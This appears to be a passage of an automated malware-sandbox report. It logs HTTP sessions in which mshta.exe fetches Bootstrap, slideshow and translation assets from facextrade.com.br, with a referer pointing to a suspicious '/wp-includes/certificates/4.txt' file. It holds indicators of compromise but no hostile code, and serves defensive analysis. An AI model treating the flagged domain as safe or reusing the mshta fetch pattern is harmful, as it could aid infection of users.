7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78
                                                                                      Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nex


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      3192.168.2.349744187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:30.272078991 CEST1237OUTGET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:30.500782013 CEST1283INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:12 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a537ae-1a385-5cd2be5b92824"
                                                                                      Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT
                                                                                      Content-Length: 107397
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 15075216 23601802
                                                                                      Age: 138
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68
                                                                                      Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;*display:inline;*zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, h
                                                                                      Aug 16, 2022 11:39:30.500860929 CEST1285INData Raw: 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70
                                                                                      Data Ascii: tml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="check
                                                                                      Aug 16, 2022 11:39:30.500917912 CEST1286INData Raw: 6e 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b
                                                                                      Data Ascii: nt:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-
                                                                                      Aug 16, 2022 11:39:30.500976086 CEST1287INData Raw: 6e 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64
                                                                                      Data Ascii: n11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span
                                                                                      Aug 16, 2022 11:39:30.501034021 CEST1289INData Raw: 69 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e
                                                                                      Data Ascii: id .span10 {width:82.978723404255%;*width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;*width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.4
                                                                                      Aug 16, 2022 11:39:30.501085997 CEST1290INData Raw: 3a 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35
                                                                                      Data Ascii: :78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;*margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;*margin-left:70.106382978723%;}.row-fluid .offset8:first-child {m
                                                                                      Aug 16, 2022 11:39:30.501151085 CEST1292INData Raw: 65 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d
                                                                                      Data Ascii: et2:first-child {margin-left:17.021276595745%;*margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;*margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-
                                                                                      Aug 16, 2022 11:39:30.501200914 CEST1293INData Raw: 65 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a
                                                                                      Data Ascii: ext-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3,
                                                                                      Aug 16, 2022 11:39:30.501259089 CEST1294INData Raw: 6f 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c
                                                                                      Data Ascii: old; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear
                                                                                      Aug 16, 2022 11:39:30.501311064 CEST1296INData Raw: 3a 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66
                                                                                      Data Ascii: :24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3
                                                                                      Aug 16, 2022 11:39:30.737082958 CEST1312INData Raw: 74 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65
                                                                                      Data Ascii: t, textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[
                                                                                      Aug 16, 2022 11:39:31.206067085 CEST1535OUTGET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:31.440730095 CEST1538INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:31 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                                                      ETag: "a50de6-2b5-5c93d38685a84"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 693
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 61 2e 67 66 6c 61 67 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 2e 70 6e 67 29 3b 7d 0a 61 2e 67 66 6c 61 67 20 69 6d 67 20 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7d 0a 61 2e 67 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 61 2e 70 6e 67 29 3b 7d 0a 69 6d 67 2e 67 73 74 61 74 73 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 2e 70 6e 67 29 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 61 2e 70 6e 67 29 3b 7d 0a 61 2e 75 73 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 62 72 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 6d 78 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 0a 61 2e 67 6c 69 6e 6b 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 73 70 61 6e 20 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 69 6d 67 20 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 2e 38 3b 7d 0a 61 2e 67 6c 69 6e 6b 3a 68 6f 76 65 72 20 69 6d 67 20 7b 6f 70 61 63 69 74 79 3a 31 3b 7d
                                                                                      Data Ascii: a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}a.gflag img {border:0;height:24px;display:inline;}a.gflag:hover {background-image:url(24a.png);}img.gstats {display:none;}a.alt_flag {background-image:url(alt_flags.png);}a.alt_flag:hover {background-image:url(alt_flagsa.png);}a.us_flag {background-position:-0px -100px;}a.br_flag {background-position:-100px -100px;}a.mx_flag {background-position:-200px -100px;}a.glink {text-decoration:none;}a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}a.glink:hover img {opacity:1;}


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      4192.168.2.349749142.250.181.23880C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:30.329093933 CEST1274OUTGET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: translate.google.com
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:30.362730980 CEST1275INHTTP/1.1 301 Moved Permanently
                                                                                      Content-Type: application/binary
                                                                                      Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                      Pragma: no-cache
                                                                                      Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                      Date: Tue, 16 Aug 2022 09:39:30 GMT
                                                                                      Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
                                                                                      Cross-Origin-Opener-Policy: same-origin-allow-popups
                                                                                      Server: ESF
                                                                                      Content-Length: 0
                                                                                      X-XSS-Protection: 0
                                                                                      X-Frame-Options: SAMEORIGIN
                                                                                      X-Content-Type-Options: nosniff


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      5192.168.2.349748187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:30.479897022 CEST1282OUTGET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:30.704149961 CEST1297INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:34:19 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a537b3-55b9-58592f5ac9140"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT
                                                                                      Content-Length: 21945
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 23438061 17188963
                                                                                      Age: 311
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36
